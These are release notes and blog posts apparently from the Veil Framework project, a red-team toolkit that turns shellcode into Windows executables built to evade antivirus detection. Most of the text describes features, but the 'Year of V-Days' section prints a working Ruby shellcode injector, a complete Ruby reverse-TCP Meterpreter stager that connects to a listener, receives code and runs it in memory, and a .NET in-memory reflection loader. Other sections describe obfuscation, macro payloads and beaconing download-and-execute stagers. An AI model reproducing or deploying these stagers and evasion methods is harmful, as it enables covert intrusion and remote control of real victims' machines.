Veil 3.0 Release

The Veil Framework is a collection of tools designed for use during offensive security testing. When the time calls for it, Mandiant’s Red Team will use the Veil-Framework to help achieve their objective.  The most commonly used tool is Veil-Evasion, which can turn an arbitrary script or piece of shellcode into a Windows executable that will evade detections by common antivirus products.

Veil 2.0 was made publicly available on June 17, 2013, and the core framework has remained largely unchanged since that date. There have been some modifications to the framework itself, but these have generally been minor in nature, with the majority of modifications involving the support of new programming languages and new payload modules.\

After spending a few years developing in Python, I revisited the Veil codebase and identified parts of the backend framework that could be developed more efficiently. Six months later, after refactoring the codebase and adding a large number of updates, I am happy to present Veil 3.0. The main menu is shown in Figure 1.

Figure 1: Veil 3 main menu

Python 3

First and foremost, one of the largest overhauls to Veil was updating the version of Python from Python 2 to Python 3. Python 2 is scheduled to reach end-of-life (EOL) in 2020, so it did not make much sense to spend time performing a large update to Veil in a language that will no longer be supported in three years.

Updating Veil from Python 2 to Python 3 was easily the most time-consuming part of creating Veil 3. Running the 2to3 tool was not an option; the conversion process required manual review for essentially all changes to Veil.

One of the major differences when developing Veil in Python 3 vs. Python 2 is how shellcode is handled and modified. To illustrates this issue, Figure 2 shows a Python 2-based stager that includes encrypted shellcode to be decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2

While the code in Figure 2 works in Python 2, it will not work in Python 3. Specifically, in Python 3, the shellcode no longer needs to be string escaped into a bytearray after decryption. The output of Python 3’s decryption is the original clear text data in a bytearray, which is immediately consumable by the rest of the script. Figure 3 shows the Python 3 version of the same decryption stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3

Ordnance

Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to generate shellcode for Veil payloads. After the initial release of Veil, however, this caused a problem. The output for msfvenom changed and it completely broke Veil’s ability to process msfvenom output. After providing a patch to fix the issue, the Veil team decided that a different solution would be required instead of relying on a tool outside of our control.

Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-Ordnance had two main benefits:

  1. The Veil development team is in control of the output, preventing any future compatibility issues with Veil-Evasion.
  2. Shellcode generation is faster with Veil-Ordnance.

Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0

Veil 3.0 users still have the ability to use msfvenom to generate their shellcode, but they now also have the option to use Ordnance. Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listen on. Ordnance supports the most popular payload types:

  1. Reverse TCP
  2. Reverse HTTP
  3. Reverse HTTPS
  4. Reverse TCP DNS
  5. Reverse TCP All Ports
  6. Bind TCP

This gives Veil users multiple options to choose from – they can stick with msfvenom, or use the new built-in tool, Ordnance.

Additional Languages

While Veil itself is written in Python, the processed payloads and output files can be in other programming languages. In Veil 3.0, two additional languages are now supported:

  • AutoIt3
  • Lua

Lua payloads are only supported in a script format that must be compiled and run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3 scripts into Windows executables. Veil 3.0 also supports the seven languages previously supported in version 2.0:

  • Python
  • PowerShell
  • C
  • C#
  • Perl
  • Ruby
  • Golang
Environmental Detection

Another new feature in Veil 3.0 is the ability to check information about the system where the Veil payload is running. This feature is useful for ensuring that shellcode is only executed on target systems and during the engagement timeframe. The stager performs these checks and will only inject and execute the embedded shellcode if the specified conditions are met. Figure 5 shows the options for this feature.

Figure 5: Environmental detection options

Users can specify one or more of the following checks for Veil stagers:

  • The domain that the victim machine must be joined to.
  • A date that the payload expires on.
  • The hostname of the system running the payload.
  • The minimum number of processors on the system running the payload.
  • The required username running the payload.

If specifying more than one check, all checks must be met; otherwise the stager will cease execution without executing the shellcode.

This covers the major updates with Veil 3.0’s release. If you have any questions, or encounter an issue, please visit Veil’s Github repository. I hope that Veil can help further your assessments in the same way that it has helped us.

February 2016 V-Day

This February we have a few updates to Veil-Evasion.  First, we’ve upgraded the version of PyInstaller that’s used by Veil-Evasion from pyinstaller 2 to 3.1.  One extra feature that this allows is the ability to encrypt the bytecode that pyinstaller outputs.  We’re using this feature by generating a random key each time Veil-Evasion runs and supplying that when using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the python payloads themselves.  I’ve identified some areas where different AVs are trying to flag the python payloads, so this should help with some of the detection issues.  Other possibly signatures have been found as well, but I’m waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck!  #avlol

A Perl of Hope – January V-Day 2016

Welcome to 2016!  For the first post/release of the year, I’m happy to push out a new language!  First, I will preface this release by stating my politically correct opinion that Perl, is not fun.  However, that doesn’t mean it isn’t viable for writing shellcode injectors!

This month, I’m pushing out the standard “flat” shellcode injection template for perl, which lets you generate perl shellcode injectors.  However, if you run this module, you’re going to see something different than the other modules Veil-Evasion currently supports, right now there’s no native Windows compilation within Kali.

As of this release, I have not yet been able to get all the required dependencies installed within Wine and working.  There is a workaround, similar to our Python Py2Exe output, you can “compile” this perl script into a self-contained Windows executable by using a Windows VM.  While not the most ideal, I personally am always running a Windows VM in addition to a linux one while on tests, so I would imagine many of you follow a similar setup.

To generate a Windows executable, there’s a couple steps you’ll need to follow:

    1. Generate your perl payload like you would any other Veil-Evasion payload.  Once Veil-Evasion is done, you’re going to receive the source code output (like normal), but no executable.
    2. Move the perl script over to your Windows VM (tested on Windows XP x32 and Windows 7 x64).
    3. Install Perl (x32) on your windows VM (I’ve personally tested this process using the latest x32 Strawberry Perl build).
    4. Once Perl has been installed, open a command prompt and run “cpan PAR::Packer”
      1. This step will take a little while, and will require an internet connection
    5. Navigate to your .pl Veil-Evasion output within a command prompt and type “pp –gui -o <output_name_here.exe> <veil-evasion_perl_output.pl>”

perl compile

You now have your Perl executable!

I realize this isn’t the most ideal setup, but I’d rather we have the ability to generate these payloads vs. hold back on the release.  I’ll continue to look into finding a way to make this work within Wine, but if anyone wants to help figure this out, it would definitely be appreciated :)

Anyways, hope that this helps, and happy new year!

 

November 2015 V-Day

Hello!

This month I’ve added in two different modules for our November 2015 V-Day, and both are in relation to our powershell payloads!

First, I built on top of our download and inject HTTP powershell module and added the ability to download code on the fly from a HTTPS server.  This module will download code from HTTPS protected web servers that are not using a valid cert (read self-signed).

Next, another auxiliary module was added into Veil-Evasion.  We built a module upon khr0x40sh’s blog post where Veil-Evasion’s powershell/shellcode_inject/virtual payload was converted into macro code.  This new auxiliary module simply takes the steps documented in the blog post and automates the process.  It will output a text file containing the code that just needs to be pasted in, and you will then have a valid working macro.  The only option you will need to specify is if you are going to be running the code on a x86 or x64 system.

We hope that this helps, and we still have plenty more module for future releases!  Let me know in #Veil on freenode if you have any questions!

September 2015 V-Day

Hello Everyone!

It’s been a while for a release, I know!  Today, we have two smaller updates.  For a payload release, a Ruby payload which has shellcode base64 encoded inside of it (and is decoded at runtime) has been added into Veil-Evasion (thanks to the guys in #ruby on Freenode for some help).

Additionally, Veil-Ordnance has received an update.  As it was, Veil-Ordnance had its modules hardcoded into the application.  Ordnance now will dynamically pick up new payload and encoder modules that are added to it, making it easier to extend Veil-Ordnance’s functionality!

Finally, th3 payload r3l3as3s hav3 slow3d du3 to work on updating a proj3ct.  Hop3fully w3’ll b3 abl3 to g3t a r3l3as3 soon, but in th3 m3antim3 I’ll do my b3st to 3nsur3 th3 payloads ar3 r3l3as3d on tim3 3ach V-Day.  Hop3 this h3lps, and f33l fr33 to ask any qu3stions in #Veil on Fr33nod3!

On Your Mark, Get Set, Go! – May V-Day

Hello all!

This month we’re really happy to be introducing a new language into the Veil-Framework for bypassing antivirus.  So far, we have Python, C, C#, Powershell, and Ruby.  As you probably can guess, we are happy to be adding in support for Go!

To use Go payloads, the first thing you will need to do is re-run the setup script that comes bundled with Veil-Evasion.  This will auto download Go and compile from source in a method that allows go to cross-compile and create Windows executables within Linux.

Once installed, you will see there are currently four different Go payloads available in the framework.  One of the payloads is the traditional shellcode injection payload, and the others are pure Go meterpreter stagers.  The Go payloads were submitted to us by @b00stfr3ak44, we definitely appreciate them being sent our way for the community to use!

We’d love to continue to encourage people to create new payloads, in any language that you think would be fun. If you’d be willing to send a payload you’ve created to us to include within Veil-Evasion, we’d be happy to do anything we can to help you along the way.

Thanks!

#avlol

April V-Day – BDF Updates!

Hello All!

For our April V-Day, we’ve been working with our friend Josh (@midnite_runr) to get the latest Backdoor Factory updates added in to Veil-Evasion.  There’s been a number of updates to Backdoor Factory lately that had yet to be added in, but we should have them all included now.  One of the most recent changes includes automatic PE patching when backdooring an executable.  @Midnite_runr has been working on adding that feature in for some time, so it’s awesome that his hard work has paid off!  He’s documented a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to @midnite_runr for his awesome work!

March V-Day

Hello All!

For this (late) March V-Day, we’re happy to add in a module that was developed and submitted to us from @byt3bl33d3r!  This is a python based beaconing payload.  The payload was based off of the original POC from @midnite_runr (available here).

If configured to beacon out for data, the payload will continuously call back to a system of the attacker’s choice every X seconds.  Once the beacon receives data (a web server 200 code) from the web server, it will attempt to inject the data into memory and execute it.

To use this payload, you will want to dump the raw shellcode to a file, vs. storing it in a \x1f\xbc… format.

Thanks to @midnite_runr for the original POC and thanks to @byt3bl33d3r for not only writing the module, but working with us to get it ready for release!

January 2015 V-Day!

Welcome to 2015!  For our January 2015 V-Day, we have a small addition to our Ruby shellcode injection payload.  Currently, the payloads are injection shellcode into memory using the VirtualAlloc API call routine, but this was the only method.  We’ve just added in the ability to inject shellcode into memory via HeapCreate and HeapAlloc.

Additionally, the Metasploit Project devs have updated Meterpreter to version 0.0.13.  We’ve just added support for the latest version of Meterpreter in Veil-Evasion.

If anyone has any questions, feel free to reach out to us!

#avlol

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

veil_evasion_ruby_compilation

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

veil_evasion_arya

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

ubuntu_evasion_setup1

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

ubuntu_evasion_setup2

When you hit this screen, tab over to <Yes> to accept the EULA:

ubuntu_evasion_setup3

And when you his this screen, click Yes to overwrite the existing files:

ubuntu_evasion_setup4

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

ubuntu_evasion_setup5

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.